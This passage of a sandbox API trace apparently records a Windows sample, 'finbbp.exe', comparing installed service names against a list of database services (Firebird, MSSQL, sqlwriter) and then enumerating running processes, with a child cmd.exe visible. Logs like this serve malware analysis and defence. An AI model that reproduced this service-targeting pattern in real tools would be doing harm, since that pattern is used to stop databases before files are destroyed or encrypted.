lpString2="LSM") returned 1 [0243.470] lstrlenW (lpString="MpsSvc") returned 6 [0243.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0243.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0243.470] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0243.470] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0243.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0243.470] lstrlenW (lpString="NcbService") returned 10 [0243.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0243.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0243.470] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0243.470] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0243.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0243.470] lstrlenW (lpString="netprofm") returned 8 [0243.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0243.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0243.470] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0243.470] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0243.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0243.471] lstrlenW (lpString="NgcSvc") returned 6 [0243.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0243.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0243.471] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0243.471] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0243.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0243.471] lstrlenW (lpString="NlaSvc") returned 6 [0243.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0243.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0243.471] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0243.471] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0243.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0243.471] lstrlenW (lpString="nsi") returned 3 [0243.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0243.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0243.471] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0243.471] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0243.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0243.471] lstrlenW (lpString="PcaSvc") returned 6 [0243.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0243.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0243.471] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0243.471] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0243.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0243.471] lstrlenW (lpString="PlugPlay") returned 8 [0243.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0243.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0243.472] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0243.472] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0243.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0243.472] lstrlenW (lpString="Power") returned 5 [0243.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0243.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0243.472] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0243.472] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0243.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0243.472] lstrlenW (lpString="ProfSvc") returned 7 [0243.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0243.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0243.472] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0243.472] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0243.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0243.472] lstrlenW (lpString="RpcEptMapper") returned 12 [0243.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0243.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0243.472] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0243.472] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0243.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0243.472] lstrlenW (lpString="RpcSs") returned 5 [0243.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0243.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0243.472] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0243.472] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0243.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0243.473] lstrlenW (lpString="SamSs") returned 5 [0243.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0243.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0243.473] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0243.473] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0243.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0243.473] lstrlenW (lpString="Schedule") returned 8 [0243.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0243.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0243.473] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0243.473] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0243.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0243.473] lstrlenW (lpString="SecurityHealthService") returned 21 [0243.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0243.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0243.473] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0243.473] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0243.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0243.473] lstrlenW (lpString="SENS") returned 4 [0243.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0243.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0243.473] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0243.473] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0243.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0243.473] lstrlenW (lpString="ShellHWDetection") returned 16 [0243.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0243.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0243.474] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0243.474] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0243.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0243.474] lstrlenW (lpString="Spooler") returned 7 [0243.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0243.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0243.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0243.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0243.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0243.474] lstrlenW (lpString="StateRepository") returned 15 [0243.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0243.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0243.474] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0243.474] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0243.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0243.474] lstrlenW (lpString="SysMain") returned 7 [0243.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0243.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0243.474] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0243.474] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0243.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0243.474] lstrlenW (lpString="SystemEventsBroker") returned 18 [0243.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0243.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0243.474] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0243.474] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0243.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0243.475] lstrlenW (lpString="Themes") returned 6 [0243.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0243.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0243.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0243.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0243.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0243.475] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0243.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0243.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0243.475] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0243.475] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0243.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4205420 | out: hHeap=0x670000) returned 1 [0243.475] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4e4 [0243.482] Process32FirstW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.483] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0243.483] lstrlenW (lpString="System") returned 6 [0243.484] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0243.484] lstrlenW (lpString="smss.exe") returned 8 [0243.484] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.485] lstrlenW (lpString="csrss.exe") returned 9 [0243.485] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0243.485] lstrlenW (lpString="wininit.exe") returned 11 [0243.485] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.486] lstrlenW (lpString="csrss.exe") returned 9 [0243.486] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0243.487] lstrlenW (lpString="winlogon.exe") returned 12 [0243.487] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0243.487] lstrlenW (lpString="services.exe") returned 12 [0243.487] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0243.488] lstrlenW (lpString="lsass.exe") returned 9 [0243.488] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0243.488] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0243.489] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0243.489] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0243.489] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.490] lstrlenW (lpString="svchost.exe") returned 11 [0243.490] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.490] lstrlenW (lpString="svchost.exe") returned 11 [0243.490] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0243.491] lstrlenW (lpString="dwm.exe") returned 7 [0243.491] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.491] lstrlenW (lpString="svchost.exe") returned 11 [0243.492] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.492] lstrlenW (lpString="svchost.exe") returned 11 [0243.492] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.493] lstrlenW (lpString="svchost.exe") returned 11 [0243.493] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.493] lstrlenW (lpString="svchost.exe") returned 11 [0243.493] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.494] lstrlenW (lpString="svchost.exe") returned 11 [0243.494] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.495] lstrlenW (lpString="svchost.exe") returned 11 [0243.495] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.495] lstrlenW (lpString="svchost.exe") returned 11 [0243.495] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.496] lstrlenW (lpString="svchost.exe") returned 11 [0243.496] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.497] lstrlenW (lpString="svchost.exe") returned 11 [0243.497] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.497] lstrlenW (lpString="svchost.exe") returned 11 [0243.497] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0243.498] lstrlenW (lpString="spoolsv.exe") returned 11 [0243.498] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.499] lstrlenW (lpString="svchost.exe") returned 11 [0243.499] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0243.499] lstrlenW (lpString="audiodg.exe") returned 11 [0243.499] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0243.500] lstrlenW (lpString="sihost.exe") returned 10 [0243.500] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.500] lstrlenW (lpString="svchost.exe") returned 11 [0243.501] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0243.501] lstrlenW (lpString="taskhostw.exe") returned 13 [0243.501] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0243.502] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0243.502] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0243.502] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0243.502] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0243.503] lstrlenW (lpString="Memory Compression") returned 18 [0243.503] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0243.503] lstrlenW (lpString="explorer.exe") returned 12 [0243.504] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0243.504] lstrlenW (lpString="SearchUI.exe") returned 12 [0243.504] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0243.505] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0243.505] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0243.505] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0243.505] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0243.506] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0243.506] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0243.507] lstrlenW (lpString="finbbp.exe") returned 10 [0243.507] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0243.507] lstrlenW (lpString="cmd.exe") returned 7 [0243.507] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0243.508] lstrlenW (lpString="conhost.exe") returned 11 [0243.508] Process32NextW (in: hSnapshot=0x4e4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0243.508] 